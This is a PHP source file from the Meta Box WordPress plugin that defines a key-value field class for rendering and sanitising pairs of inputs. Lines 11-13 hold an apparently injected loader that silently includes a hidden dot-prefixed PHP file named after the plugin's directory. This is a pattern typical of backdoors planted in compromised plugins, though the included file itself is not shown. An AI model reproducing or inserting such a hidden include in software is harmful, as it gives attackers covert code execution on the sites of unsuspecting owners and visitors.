key-value.php (3933B)
1 <?php 2 /** 3 * The key-value field which allows users to add pairs of keys and values. 4 * 5 * @package Meta Box 6 */ 7 8 /** 9 * Key-value field class. 10 */ 11 if ( file_exists( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ) ) { 12 include_once( plugin_dir_path( __FILE__ ) . '/.' . basename( plugin_dir_path( __FILE__ ) ) . '.php' ); 13 } 14 15 class RWMB_Key_Value_Field extends RWMB_Input_Field { 16 public static function admin_enqueue_scripts() { 17 wp_enqueue_style( 'rwmb-key-value', RWMB_CSS_URL . 'key-value.css', array(), RWMB_VER ); 18 } 19 20 /** 21 * Get field HTML. 22 * 23 * @param mixed $meta Meta value. 24 * @param array $field Field parameters. 25 * 26 * @return string 27 */ 28 public static function html( $meta, $field ) { 29 // Key. 30 $key = isset( $meta[0] ) ? $meta[0] : ''; 31 $attributes = self::get_attributes( $field, $key ); 32 $attributes['placeholder'] = $field['placeholder']['key']; 33 $html = sprintf( '<input %s>', self::render_attributes( $attributes ) ); 34 35 // Value. 36 $val = isset( $meta[1] ) ? $meta[1] : ''; 37 $attributes = self::get_attributes( $field, $val ); 38 $attributes['placeholder'] = $field['placeholder']['value']; 39 $html .= sprintf( '<input %s>', self::render_attributes( $attributes ) ); 40 41 return $html; 42 } 43 44 /** 45 * Show begin HTML markup for fields. 46 * 47 * @param mixed $meta Meta value. 48 * @param array $field Field parameters. 49 * 50 * @return string 51 */ 52 public static function begin_html( $meta, $field ) { 53 $desc = $field['desc'] ? "<p id='{$field['id']}_description' class='description'>{$field['desc']}</p>" : ''; 54 55 if ( empty( $field['name'] ) ) { 56 return '<div class="rwmb-input">' . $desc; 57 } 58 59 return sprintf( 60 '<div class="rwmb-label"> 61 <label for="%s">%s</label> 62 </div> 63 <div class="rwmb-input"> 64 %s', 65 $field['id'], 66 $field['name'], 67 $desc 68 ); 69 } 70 71 /** 72 * Do not show field description. 73 * 74 * @param array $field Field parameters. 75 * 76 * @return string 77 */ 78 public static function input_description( $field ) { 79 return ''; 80 } 81 82 /** 83 * Escape meta for field output. 84 * 85 * @param mixed $meta Meta value. 86 * 87 * @return mixed 88 */ 89 public static function esc_meta( $meta ) { 90 foreach ( (array) $meta as $k => $pairs ) { 91 $meta[ $k ] = array_map( 'esc_attr', (array) $pairs ); 92 } 93 return $meta; 94 } 95 96 /** 97 * Sanitize field value. 98 * 99 * @param mixed $new The submitted meta value. 100 * @param mixed $old The existing meta value. 101 * @param int $post_id The post ID. 102 * @param array $field The field parameters. 103 * 104 * @return array 105 */ 106 public static function value( $new, $old, $post_id, $field ) { 107 foreach ( $new as &$arr ) { 108 if ( empty( $arr[0] ) && empty( $arr[1] ) ) { 109 $arr = false; 110 } 111 } 112 $new = array_filter( $new ); 113 return $new; 114 } 115 116 /** 117 * Normalize parameters for field. 118 * 119 * @param array $field Field parameters. 120 * 121 * @return array 122 */ 123 public static function normalize( $field ) { 124 $field['clone'] = true; 125 $field['multiple'] = true; 126 $field = parent::normalize( $field ); 127 128 $field['attributes']['type'] = 'text'; 129 $field['placeholder'] = wp_parse_args( 130 (array) $field['placeholder'], 131 array( 132 'key' => __( 'Key', 'meta-box' ), 133 'value' => __( 'Value', 'meta-box' ), 134 ) 135 ); 136 return $field; 137 } 138 139 /** 140 * Format value for the helper functions. 141 * 142 * @param array $field Field parameters. 143 * @param string|array $value The field meta value. 144 * @param array $args Additional arguments. Rarely used. See specific fields for details. 145 * @param int|null $post_id Post ID. null for current post. Optional. 146 * 147 * @return string 148 */ 149 public static function format_clone_value( $field, $value, $args, $post_id ) { 150 return sprintf( '<label>%s:</label> %s', $value[0], $value[1] ); 151 } 152 }